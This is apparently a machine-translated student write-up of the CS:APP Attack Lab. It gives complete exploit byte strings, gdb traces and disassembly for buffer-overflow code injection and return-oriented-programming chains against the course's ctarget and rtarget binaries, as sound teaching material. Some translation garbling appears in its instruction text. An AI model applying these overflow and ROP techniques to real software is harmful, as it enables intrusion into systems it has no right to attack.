Attack Lab for Experiment 3 of in-depth understanding of computer system

preface

Please see the download of Attack Lab and the machine translation of official website documents in Experiment 3 of in-depth understanding of computer system
Experiment 3 of in-depth understanding of computer system Attack Lab download and official document machine translation

I think this document is very helpful to the whole experiment.

Level 1

First disassemble the whole ctarget to see what's inside

linux> objdump -d ctarget

There's a lot of content in it. Find what we need
test function

The test function calls the getbuf function

Touch1 function. You need to inject the touch1 function into the program

Test () calls getbuf (), and the getbuf () function can cause overflow, overflow to the memory storing the return address, and rewrite the return address. We just need to write the starting point of the touch1 () function into the return address of the getbuf () function. That is, test() - > getbuf() - >... - > getbuf() - > test() becomes test() - > getbuf() - >... - > getbuf() - > touch1().

You can see that the return address of the getbuf() function is 0x40176

We use gdb to debug ctarget

Break the getbuf() function

Running to a breakpoint with run -q stops. The first line of the getbuf function

View address of register% rsp

View the value of 0x5561dca0 memory address

4200822 (decimal) = 0x40176 (hexadecimal). In line with our ideas.
Now that the program has not been executed by 0x4017a8, we put a breakpoint on its next line

Use the address 0x4017ac on the next line to mark the breakpoint

Execute the program with continue and stop at the next breakpoint

The sub sub $0x28,% RSP x28,%rsp command was executed. 40 (decimal of 0x28) bytes are allocated to the stack
Look at the address of register% rsp

Now the return address of getbuf() should be stored in memory 0x5561dc78+40
Check it out. It's true

That is, as long as we store 40 bytes, we can go to the location of the return address in memory.
Then write the starting address of the touch1() function into the return address.
40 bytes

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

Add the starting address of the touch1() function: 4017c0

It's a small end method on my machine, so it's

c0 17 40 00 00 00 00 00

Together, it is the following bytes

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

Try this answer (when you enter the answer, there should be no spaces. Spaces are also characters. They only express bytes)

It is found that it is wrong, because the number we enter will become ASCII code. The content in the red box should be

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00

To find a string of ASCII codes for the above content. It's a little troublesome.
Use hex2 raw, which is a utility for generating byte sequences.
hold

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00

Put it into one.txt file

Use I/O redirection

generate

Use I/O redirection to enter the contents of one-raw.txt into ctarget

The first stage is completed.

Level 2

Level 2 is an additional parameter based on Level 1

  • Locate the byte representation of the address of the function touch2 to be injected so that the ret instruction at the end of the code of getbuf passes control to it.
  • The first parameter is passed in register% rdi.
  • The injected code should first save the cookie in register% rdi, and then use the ret instruction to pass control to touch2.

What you need to think about is how to set the value in register% rdi as a cookie, and then jump to touch2 function. That is, first jump from getbuf to a code region, then set the register% rdi from the code region, and then jump to the touch2 function. Where to find this code area, you can use the stack organization developed by getbuf (sub (sub $0x28,% RSP) x28,%rsp) to put the code into the stack.
Find this area and gdb debug ctarget

getbuf function

Set a breakpoint for 0x4017ac to see the starting address of stack organization%rsp

Debugging program, finished running sub sub $0x28,% RSPx28,%rsp

View address of register% rsp

This is the code area we are looking for. We let the getbuf function return to this code area (0x5561dc78)
This requirement is the same as Level1, but the bytes are different and become the following bytes

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

Return to 0x5561dc78, which is where we can put the code to be executed.

What code are we going to execute?

  • Put the cookie value into the% rdi register
  • Jump to touch2 function

My cookie value is 0x59b997fa

Put the cookie value into the% rdi register

movq $0x59b997fa,%rdi

Jump to the touch2 function and use the ret command

When the CPU executes the ret instruction, it is equivalent to POP IP—— Assembly language (Wang Shuang Third Edition) P190
The ret instruction pops a value from the stack and jumps to this address—— Deep understanding of computer systems P166

Therefore, we can press the address 0x4017ec of the touch2 function into the stack, and then use the ret command to jump.

Namely

pushq $0x4017ec
ret

Together, the code to be injected is

movq  $0x59b997fa,%rdi
pushq $0x4017ec
ret

To get its byte representation
Write. s assembly file
two.s:

movq $0x59b997fa,%rdi
pushq $0x4017ec
ret

Compile in disassembly

Open the two.d program obtained through disassembly
two.d:

two.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   

The bytes of the code to be injected are

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

Combined with the bytes of the injection return address above, i.e

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

The following is the same as the operation after Level1.
Put two.txt file

Using hex2raw

Use I/O redirection to enter the contents of two-raw.txt into ctarget

The second phase was completed.

Level 3

Level 3 is difficult on the basis of Level 2.
Pass a string as an argument. This string is a cookie.

  • The string should contain 8 hexadecimal representations of the cookie.
  • In C, a string is represented as a sequence of bytes followed by a byte with a value of 0. On a Linux machine, enter "man ascii" to see the byte representation of the required characters.
  • The injected code should set register% rdi to the address of this string.
  • When the functions hexpatch and strncmp are called, they push data onto the stack, overwriting the memory portion of the buffer used to hold getbuf. Therefore, you need to be careful about placing the string representation of the cookie.

With the experience of Level 1 and Level 2, let's write the basic things first. Like Level 2, find the code area (repeat the steps of Level 2).
gdb debugging ctarget

getbuf function

Set a breakpoint for 0x4017ac to see the starting address of stack organization%rsp

Debugging program, finished running sub sub $0x28,% RSPx28,%rsp

View address of register% rsp

This is the code area we are looking for. We let the getbuf function return to this code area (0x5561dc78)

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

Return to 0x5561dc78, which is where we can put the code to be executed.

What code are we going to execute?

  • Let% rdi point to the starting address of the string cookie.
  • Jump to touch3 function

String cookie s should be expressed in bytes. On Linux machines, enter "man ascii" to see the byte representation of the required characters
My cookie is 0x59b997fa, i.e

35 39 62 39 39 37 66 61

We can look at the bytes of the two.d file in Level 2.
two.d:

two.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   

I'm going to put the cookie in

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

But it should be noted that

The content of the red box is different.
The starting address of the code segment is 0x5561dc78, including "48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3" bytes, that is, put the cookie in 0x5561dc85. Let% rdi point to 0x5561dc85
The address of the touch3 function is 0x4018fa

Formation Code:

movq $0x5561dc85,%rdi
pushq $0x4018fa
retq

To get its byte representation
Write. s assembly file
three.s:

movq $0x5561dc85,%rdi
pushq $0x4018fa
retq

Compile in disassembly

Get the file three.d
three.d:

three.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 85 dc 61 55 	mov    $0x5561dc85,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   

The bytes obtained are expressed as

48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3

Followed by a cookie value of

48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3 35 39 62 39 39 37 66 61

Combined with the injection return address written above, i.e

48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

Well, this is a good attempt. Let's run it,


There seems to be a problem. Break the point to find the problem
After our injected code, the program is roughly
Test - > getbuf - > injected code - > touch3 - > hexpatch
Debugging with gdb

Start debugging after entering the string from getbuf.

Hit the breakpoint and run the program

View the value of the stack pointer $rsp at this time

After the program runs to the input string, the stack is roughly like this

Set a breakpoint for 0x4017bd and execute. After checking add $0x28 and% RSP execution, retq returns to the statement before execution.

The stack data is as follows

Then execute retq, pop up data from the stack (0x5561dc78), jump to this address, that is, jump to 0x5561dc78 and execute the code we injected.
The injected code is executed until retq stops, at this time% rdi=0x5561dc85.

After retq, jump to 0x4018fa, that is, the address of touch3

Set a breakpoint for the touch3 function and run to the breakpoint

View the data of stack pointer% rsp and 0x5561dca0

As shown in the figure above.
Stack after push%rbx is executed

Break the callq command that jumps to hexpatch


Run to breakpoint

View $RSP (stack pointer) and $RDI (first parameter) and $RSI (value of second parameter)

$rdi = 1505335290=0x59b997fa=cookie
$rsi = 0x5561dc85 points to the address of the string

Break the haxmatch function. Execute callq hexpatch and run to hexpatch. Executing the callq instruction will push the following instruction address into the stack as the return address. 0x401916


Check the value of 0x5561dc98, and it is true

Break the hexpatch function

Run to hexpatch

See that there are three registers in front of the stack. Hit the breakpoint at 0x401850 to see the situation after the stack.

Run to 0x401850



It can be seen that after pushing%rbp, our memory for storing cookie s is overwritten, so this is the reason for our failure.
Later, we will allocate memory space for data such as char[110], add $0xffffffffffffffff80,%rsp # allocate 128 bytes. After the instruction is run with a breakpoint to see the data after 128 bytes are allocated.
add Add $0xffffffffffffff80,% RSP xffffffffffffff80,%rsp instruction is% RSP =% RSP + $0xffffffffffffffff80 =% RSP + (- 0x80) =% rsp-128



View the value of $rsp

0x5561dc00 = Original% rsp(0x5561dc80)-0x80

As a result of the above debugging, it can be found that the place where we stored the cookie is overwritten by other data. We need to find a place to put cookies again. We found that the data at 0x5561dca8 in the frame of the test function will not be overwritten. You can put the cookie here.
Change the three.s assembly file code to

movq $0x5561dca8,%rdi
pushq $0x4018fa
retq

Compile decompile

Get three.d

three.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   

Get bytes

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

Put the cookie at 0x5561dca8, that is, after returning the address, to sum up
obtain
three.txt

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61

Generate byte sequence using hex2 raw

Run ctarget

The third stage is done.

Level 4

I just saw this. I don't know how to do it. Invalid injection attack code
Where do I put my cookie s? How?
Where is the jump address?
Decompile the rtarget file first

linux> objdump -d rtarget

Find start_ farm~end_ Copy the code in the farm area, paste it to other places, and find out if there is any cookie data required. No. I don't know how to write, just compare it

Write down all that can represent instructions

Then it is mentioned in Level 2 that the solution is mainly

  • Locate the byte representation of the address of the function touch2 to be injected so that the ret instruction at the end of the code of getbuf passes control to it.
  • The first parameter is passed in register% rdi.
  • The injected code should first save the cookie in register% rdi, and then use the ret instruction to pass control to touch2.

Note that the main useful instructions that appear above are movq and pop, including
pop %rax
movq %rax,%rdi
It caught my attention. Put the cookie on the top of the stack and pop up the data to% rax. When assigning the value from% rax to% rdi, I don't just complete "the first parameter is passed in register% rdi". I have to think about how to execute these two continuously. After the pop-up of the stack top cookie, if the new stack top is the address of movq%rax,%rdi, then retq can jump to movq%rax,%rdi.
At this time, I finally understood what was mentioned in the document

After movq% rax and% RDI are executed, if the new data at the top of the stack is the address of touch2, retq can jump to the touch2 function to find the address that matches the proposed instruction


Namely
0x4019ab starts with 58 90 c3
0x4019c5 starts with 48 89 c7 90 c3
0x90 is the byte code of nop. Its only function is to increase the program counter by 1. Here is to make the program to c3(retq).
After Level 3, I have a clear understanding of the stack. At first, I hope that the stack will move down so that we can complete our first step, that is, jump to 0x4019ab and execute pop% rax when returning
(Note: due to stack randomization, the addresses of all stacks are uncertain, so the stack memory addresses in Level 4 and Level 5 are only convenient to observe, because their offsets are still the same, and the stack is the whole.)

Pop%rax pops data from the top of the stack. We hope that the top of the stack is our cookie at this time.

After pop% rax is executed, execute the retq instruction. We hope that the top of the stack is the address of movq% rax and% RDI.

After the movq% rax and% rdi instructions are executed, the value in% rdi is a cookie.
When retq is executed, we hope that the top of the stack is the address 0x4017ec of the touch2 function.


The answer has come out. We just need to make the contents of the stack as shown above.
I've been theorizing for a long time, but I haven't debugged once. Now I start to practice (it's wonderful if I've done it once)!
four.txt:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00



It's really good (actually it's only twice. The first time, about one byte is written backwards, but what's the matter).
The fourth stage is done.

Level 5

First, write the instruction code in the file according to the following table.

Because the stack has randomization, the writing method like the previous question 3 will not work, because the content of the address you write dead may change greatly after randomization. The starting address of the stack will change, but the interval in the stack will not change, which is equivalent to the movement of the whole stack.

For example, we can put the cookie in "0x5561dcc8", which is 40 bytes from the top%rsp of the stack. After randomization, it is still 40 bytes from the top of the stack.
Notice this function

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq   

%rdi+%rsi can just meet the requirements of% rsp + offset, as long as% rdi=%rsp,% rsi = offset.
Look at all the possibilities listed above to see if they can be completed.
It can be satisfied after the following two steps

0000000000401aab <setval_350>:
			(48 89 e9: movq %rsp,%rax)
  401aab:	c7 07 48 89 e0 90    	movl   $0x90e08948,(%rdi)
  401ab1:	c3                   	retq 

00000000004019c3 <setval_426>:
		     (48 89 c7: movq %rax,%rdi)
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq  
401aad: movq %rsp,%rax
4019c5: movq %rax,%rdi

Now there is the offset left. We put it on the stack and take it out, but now we can't determine what the offset is, so let the offset be x.
Out of stack

00000000004019a7 <addval_219>:
			  (58: pop %rax)
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq  
4019ab: pop %rax

The comprehensive is shown in the figure below

Now you need to assign the value (offset) of% rax to% rsi,

00000000004019db <getval_481>:
		(5c: pop %rsp)
		(89 c2: movl %eax,%edx)
  4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax
  4019e0:	c3                   	retq   

0000000000401a33 <getval_159>:
		  (89 d1: movl %edx,%ecx)
				(38 c9: cmpb %cl,%cl)
  401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax
  401a38:	c3                   	retq   
  
0000000000401a25 <addval_187>:
			(89 ce: movl %ecx,%esi)
				(38 c0: cmpb %al,%al)
  401a25:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
  401a2b:	c3                   	retq   

The following instructions can be found
In this way, the value of% rax is assigned to% rsi

movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi

be careful:

cmpl %cl,%cl
cmpb %al,%al

Operate on the lower order bytes of the register without changing their values
How does the movl instruction affect the upper 4 bytes of the register?
Current situation:

The following is execution

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq  
4019d6: 	lea    (%rdi,%rsi,1),%rax

Then, after assigning the value of% rax to% rdi, jump to the touch3 function (0x4018fa)

00000000004019c3 <setval_426>:
		     (48 89 c7: movq %rax,%rdi)
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq  
4019c5: movq %rax,%rdi

The stack is as follows

We put the cookie at the top, that is

Calculate X. when the program executes movq% (RSP,% rax), the address of the cookie is found at the address stack "0x5561dca8", and the offset is 72 bytes (0x48)
As shown below

Finally, the following characters are generated
five.txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61



The last level is done.

Tags: Operating System

Posted on Tue, 02 Nov 2021 00:22:25 -0400 by tdeez173